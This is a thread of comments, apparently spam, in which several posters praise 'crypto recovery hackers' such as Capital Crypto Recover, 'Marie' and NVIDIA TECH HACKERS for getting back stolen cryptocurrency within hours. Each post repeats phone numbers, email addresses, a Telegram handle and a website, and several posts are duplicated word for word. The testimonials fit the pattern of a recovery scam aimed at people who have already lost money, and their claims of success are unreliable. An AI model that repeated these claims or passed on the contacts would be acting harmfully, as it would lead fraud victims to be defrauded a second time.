hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1